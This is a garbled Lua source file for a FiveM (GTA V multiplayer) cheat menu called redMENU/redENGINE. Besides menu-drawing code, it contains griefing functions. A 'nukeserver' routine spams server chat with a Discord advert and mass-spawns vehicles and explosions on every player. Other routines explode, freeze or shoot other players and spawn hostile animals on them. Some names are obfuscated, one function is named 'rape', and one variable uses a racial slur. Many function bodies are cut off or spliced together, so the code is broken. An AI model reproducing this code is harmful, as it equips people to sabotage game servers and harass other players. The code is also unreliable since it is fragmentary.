menus[currentMenu].titleBackgroundSprite.name, x, y, menus[currentMenu].width,
titleHeight, 0., menus[currentMenu].spriteColor.r,
menus[currentMenu].spriteColor.g, menus[currentMenu].spriteColor.b,
menus[currentMenu].spriteColor.a)
else
drawRect(x, y, menus[currentMenu].width, titleHeight,
menus[currentMenu].titleBackgroundColor)
end
drawText(menus[currentMenu].title, x, y - titleHeight / 2 +
titleYOffset, menus[currentMenu].titleFont, menus[currentMenu].titleColor,
titleScale, true)
end
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
(buttonHeight * multiplier) - buttonHeight / 2
local backgroundColor = nil
local textColor = nil
local subTextColor = nil
local shadow = false
if subText then
drawText(subText, menus[currentMenu].x + buttonTextXOffset, y -
buttonHeight / 2 + buttonTextYOffset, buttonFont, subTextColor, buttonScale, false,
shadow, true)
end
end
end
menus[id] = { }
menus[id].title = title
menus[id].subTitle = 'redMENU'
menus[id].visible = false
menus[id].previousMenu = nil
menus[id].aboutToBeClosed = false
menus[id].x = 0.75
menus[id].y = 0.1
menus[id].width = 0.23
menus[id].currentOption = 1
menus[id].maxOptionCount = 10
menus[id].titleFont = 1
menus[id].titleColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].titleBackgroundColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].titleBackgroundSprite = nil
menus[id].spriteColor = { r = 255, g = 0, b = 0, a = 255 }
menus[id].subTitleBackgroundColor = { r = menus[id].menuBackgroundColor.r,
g = menus[id].menuBackgroundColor.g, b = menus[id].menuBackgroundColor.b, a = 255 }
if subTitle then
setMenuProperty(id, 'subTitle', string.upper(subTitle))
else
setMenuProperty(id, 'subTitle',
string.upper(menus[parent].subTitle))
end
function redMENU.CurrentMenu()
return currentMenu
end
function redMENU.OpenMenu(id)
if id and menus[id] then
PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(id, true)
debugPrint(tostring(id)..' menu opened')
else
debugPrint('Failed to open '..tostring(id)..' menu: it doesn\'t exist')
end
end
function redMENU.IsMenuOpened(id)
return isMenuVisible(id)
end
function redMENU.IsAnyMenuOpened()
for id, _ in pairs(menus) do
if isMenuVisible(id) then return true end
end
return false
end
function redMENU.IsMenuAboutToBeClosed()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return false
end
end
function redMENU.CloseMenu()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = false
setMenuVisible(currentMenu, false)
debugPrint(tostring(currentMenu)..' menu closed')
PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
optionCount = 0
currentMenu = nil
currentKey = nil
else
menus[currentMenu].aboutToBeClosed = true
debugPrint(tostring(currentMenu)..' menu about to be closed')
end
end
end
if menus[currentMenu] then
optionCount = optionCount + 1
drawButton(text, subText)
if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText..' button pressed')
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return false
else
debugPrint('Failed to create '..buttonText..' button:
'..tostring(currentMenu)..' menu doesn\'t exist')
return false
end
end
return true
end
else
debugPrint('Failed to create '..tostring(text)..' menu button:
'..tostring(id)..' submenu doesn\'t exist')
end
return false
end
return true
end
return false
end
callback(currentIndex, selectedIndex)
return false
end
function redMENU.Display()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
redMENU.CloseMenu()
else
ClearAllHelpMessages()
drawTitle()
drawSubTitle()
currentKey = nil
optionCount = 0
end
end
end
function redMENU.SetMenuX(id, x)
setMenuProperty(id, 'x', x)
end
function redMENU.SetMenuY(id, y)
setMenuProperty(id, 'y', y)
end
function redMENU.SetTitleColor(id, r, g, b, a)
setMenuProperty(id, 'titleColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].titleColor.a })
end
function redMENU.SetTitleBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'titleBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] =
b, ['a'] = a or menus[id].titleBackgroundColor.a })
end
function redMENU.SetSpriteColor(id, r, g, b, a)
setMenuProperty(id, 'spriteColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].menuBackgroundColor.a })
end
function redMENU.SetMenuBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'menuBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] =
b, ['a'] = a or menus[id].menuBackgroundColor.a })
end
function redMENU.SetMenuTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuTextColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuTextColor.a })
end
function redMENU.SetMenuSubTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuSubTextColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuSubTextColor.a })
end
function redMENU.SetMenuFocusColor(id, r, g, b, a)
setMenuProperty(id, 'menuFocusColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuFocusColor.a })
end
function drawNotification(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(false, false)
end
function getEntity(player)
local result, entity = GetEntityPlayerIsFreeAimingAt(player,
Citizen.ReturnResultAnyway())
return entity
end
SetBlipSprite(bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCV
jPNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,bm.model)SetBlipDisplay(
bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFX
GCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,4)
SetBlipScale(bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVj
PNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,0.9)SetBlipColour(bm.vNtr
qJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFXGCTmlPo
ZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,bm.colour)SetBlipAsShortRange(bm.vNtrqJZiWyFd
NeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFXGCTmlPoZisdmRdL
GjYmbaYeqBeiiNLgUBSeHNxIfMbkR,true)BeginTextCommandSetBlipName("STRING")
AddTextComponentString(ab)
EndTextCommandSetBlipName(bm.vNtrqJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgm
YIdeyeMEiDCVjPNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR)end
else
drawNotification("~r~Invalid coords!")
end
end
end
function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false),
5)
end
function MaxOutPerf(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
end
function ch(C,x,y)
SetTextFont(0)
SetTextProportional(1)
SetTextScale(0.0,0.4)
SetTextDropshadow(1,0,0,0,255)
SetTextEdge(1,0,0,0,255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
AddTextComponentString(C)
DrawText(x,y)
end
if UpdateOnscreenKeyboard() ~= 2 then
local result = GetOnscreenKeyboardResult()
Citizen.Wait(500)
blockinput = false
return result
else
Citizen.Wait(500)
blockinput = false
return nil
end
end
function DelVeh(veh)
SetEntityAsMissionEntity(veh, 1, 1)
DeleteEntity(veh)
end
function GetInputMode()
return Citizen.InvokeNative(0xA571D46727E2B718, 2) and "MouseAndKeyboard"
or "GamePad"
end
function TeleportToCoords()
local x = KeyboardInput("Enter X Pos", "", 100)
local y = KeyboardInput("Enter Y Pos", "", 100)
local z = KeyboardInput("Enter Z Pos", "", 100)
local entity
if x ~= "" and y ~= "" and z ~= "" then
if IsPedInAnyVehicle(GetPlayerPed(-1),0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1),0),-1)==GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1),0)
else
entity = PlayerPedId()
end
if entity then
SetEntityCoords(entity, x + 0.5, y + 0.5, z + 0.5, 1,0,0,1)
end
else
drawNotification("~g~Invalid Coords!")
end
end
function TeleportToWaypoint()
if DoesBlipExist(GetFirstBlipInfoId(8)) then
local blipIterator = GetBlipInfoIdIterator(8)
local blip = GetFirstBlipInfoId(8, blipIterator)
WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip,
Citizen.ResultAsVector()) --Thanks To Briglair [forum.FiveM.net]
wp = true
function RequestModelSync(bp)
local bq=GetHashKey(bp)RequestModel(bq)
while not HasModelLoaded(bq)do
RequestModel(bq)
Citizen.Wait(0)
end
end
function rape(player)
Citizen.CreateThread(function()
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2") do
Citizen.Wait(0)
end
function teleportToNearestVehicle()
local playerPed = GetPlayerPed(-1)
local playerPedPos = GetEntityCoords(playerPed, true)
local NearestVehicle = GetClosestVehicle(GetEntityCoords(playerPed,
true), 1000.0, 0, 4)
local NearestVehiclePos = GetEntityCoords(NearestVehicle, true)
local NearestPlane = GetClosestVehicle(GetEntityCoords(playerPed,
true), 1000.0, 0, 16384)
local NearestPlanePos = GetEntityCoords(NearestPlane, true)
drawNotification("~y~Wait...")
Citizen.Wait(1000)
if (NearestVehicle == 0) and (NearestPlane == 0) then
drawNotification("~r~No Vehicle Found")
elseif (NearestVehicle == 0) and (NearestPlane ~= 0) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
elseif (NearestVehicle ~= 0) and (NearestPlane == 0) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
elseif (NearestVehicle ~= 0) and (NearestPlane ~= 0) then
if Vdist(NearestVehiclePos.x, NearestVehiclePos.y,
NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) <
Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x,
playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
elseif Vdist(NearestVehiclePos.x, NearestVehiclePos.y,
NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) >
Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x,
playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
end
end
-- Discord presenece
Citizen.CreateThread(function()
while Enabled do
if discordPresence then
--This is the Application ID (Replace this with you own)
SetDiscordAppId(612594475021238272)
--Here you will have to put the image name for the "large"
icon.
SetDiscordRichPresenceAsset('red')
--Here you can add hover text for the "large" icon.
SetDiscordRichPresenceAssetText('This is a lage icon with
text')
--Here you will have to put the image name for the "small"
icon.
SetDiscordRichPresenceAssetSmall('logo_name')
--Here you can add hover text for the "small" icon.
SetDiscordRichPresenceAssetSmallText('This is a lsmall icon
with text')
Citizen.CreateThread(function()
local headId = {}
while Enabled do
Citizen.Wait(1)
if playerBlips then
-- show blips
for id = 0, 128 do
if NetworkIsPlayerActive(id) and GetPlayerPed(id) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)
-- Speaking display
if NetworkIsPlayerTalking(id) then
SetMpGamerTagVisibility(headId[id], 9, true) -- Add
speaking sprite
else
SetMpGamerTagVisibility(headId[id], 9, false) -- Remove
speaking sprite
end
-- BLIP STUFF --
if passengers then
if not IsVehicleSeatFree(veh, -1) then
passengers = passengers + 1
end
ShowNumberOnBlip(blip, passengers)
else
HideNumberOnBlip(blip)
end
else
-- Remove leftover number
HideNumberOnBlip(blip)
if blipSprite ~= 1 then -- default blip
SetBlipSprite(blip, 1)
ShowHeadingIndicatorOnBlip(blip, true) --
Player Blip indicator
end
end
SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
-- update rotation
SetBlipNameToPlayerName(blip, id) -- update blip name
SetBlipScale(blip, 0.85) -- set scale
function ShootPlayer(player)
local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player,
"SKEL_HEAD"), 0.0, 0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
end
function SpawnAnimal(model)
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
Citizen.Wait(0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(29, model, coords.x, coords.y, coords.z + 1.0, 1,
true, true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
end
function SpawnObjOnPlayer(modelHash)
local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local obj CreateObject(modelHash, coords.x, coords.y, coords.z, true, true,
true)
if attachProp then
AttachEntityToEntity(obj ,GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005), 0.4, 0, 0, 0, 270.0, 60.0,
true ,true ,false, true, 1, true)
end
end
function nukeserver()
Citizen.CreateThread(function()
local dg="Avenger"
local dh="CARGOPLANE"
local di="luxor"
local dj="maverick"
local dk="blimp2"
for bs=0,9 do
TriggerServerEvent("_chat:messageEntered","redENGINE",
{141,211,255},"redENGINE TAPPED YOU - https://discord.gg/utH2qph")
end
for i=0,128 do
local
di=CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+2.0,true,true) and
CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dg),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dh),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(di),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dj),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dk),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,100000.0)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,true)
end
end)
end
function rotDirection(rot)
local radianz = rot.z * 0.0174532924
local radianx = rot.x * 0.0174532924
local num = math.abs(math.cos(radianx))
return dir
end
local aX = pointA.x
local aY = pointA.y
local aZ = pointA.z
local bX = pointB.x
local bY = pointB.y
local bZ = pointB.z
local xBA = bX - aX
local yBA = bY - aY
local zBA = bZ - aZ
function RotToDirection(rot)
local radiansZ = rot.z * 0.0174532924
local radiansX = rot.x * 0.0174532924
local num = math.abs(math.cos(radiansX))
local dir = vector3(-math.sin(radiansZ) * num, math.cos(radiansZ * num),
math.sin(radiansX))
return dir
end
function add(a, b)
local result = vector3(a.x + b.x, a.y + b.y, a.z + b.z)
return result
end
return result
end
function SpectatePlayer(player)
local playerPed = PlayerPedId()
Spectating = not Spectating
local targetPed = GetPlayerPed(player)
if (Spectating) then
local targetx, targety, targetz =
table.unpack(GetEntityCoords(targetPed, false))
Citizen.CreateThread(
function()
while true do
Citizen.Wait(0)
DisplayRadar(true)
SetPlayerWantedLevel(PlayerId(), 0, false)
SetPlayerWeaponDamageModifier(PlayerId(), selectedDamage)
SetPlayerMeleeWeaponDamageModifier(PlayerId(), selectedDamage)
SetPlayerInvincible(PlayerId(), GodMode)
SetEntityInvincible(PlayerPedId(), GodMode)
if infStamina then
RestorePlayerStamina(PlayerId(), 1.0)
end
if invisible then
SetEntityVisible(GetPlayerPed(-1), false, 0)
else
SetEntityVisible(GetPlayerPed(-1), true, 0)
end
if freezePlayer then
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
end
if runtog then
for i = 0, 128 do
if IsPedRunning(GetPlayerPed(i) or
IsPedSprinting(GetPlayerPed(i))) then
ClearPedTasksImmediately(GetPlayerPed(play))
end
end
end
if crosshair then
ShowHudComponentThisFrame(14)
end
if crosshair2 then
ch("~r~+",0.495,0.484)
end
if crosshair3 then
ch("~r~.",0.4968,0.478)
end
if rainbow then
local color = RGBRainbow(1.0)
for i = 0, #allMenus do
redMENU.SetSpriteColor(allMenus[i], color.r, color.g,
color.b, 255)
end
for i, dA in pairs(bd) do
redMENU.SetSpriteColor(dA.id, color.r, color.g, color.b,
255)
end
for i, dA in pairs(be) do
redMENU.SetSpriteColor(dA.id, color.r, color.g, color.b,
255)
end
end
if animated then
Citizen.Wait(50)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal1")
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal1")
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal1")
end
Citizen.Wait(50)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal2")
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal2")
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal2")
end
Citizen.Wait(50)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal3")
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal3")
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal3")
end
Citizen.Wait(50)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"digitaloverlay", "signal4")
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal4")
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"digitaloverlay", "signal4")
end
end
if fall then
for i = 0, 128 do
ClearPedTasksImmediately(GetPlayerPed(i))
end
end
if blowall then
for i = 0, 128 do
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
AddExplosion(coords.x, coords.y, coords.z, 4, 100.0, false,
true, 0.0, false)
end
end
if sall then
for i = 0, 128 do
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
local vehiclehash = GetHashKey("savage")
RequestModel(vehiclehash)
CreateVehicle(vehiclehash, coords.x, coords.y, coords.z,
GetEntityHeading(ped), 1, 0)
end
end
if superGrip then
SetVehicleGravityAmount(niggerVehicle, 20.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
end
if enchancedGrip then
SetVehicleGravityAmount(niggerVehicle, 12.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
end
if fdMode then
SetVehicleGravityAmount(niggerVehicle, 5.5)
SetVehicleEngineTorqueMultiplier(niggerVehicle, 4.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
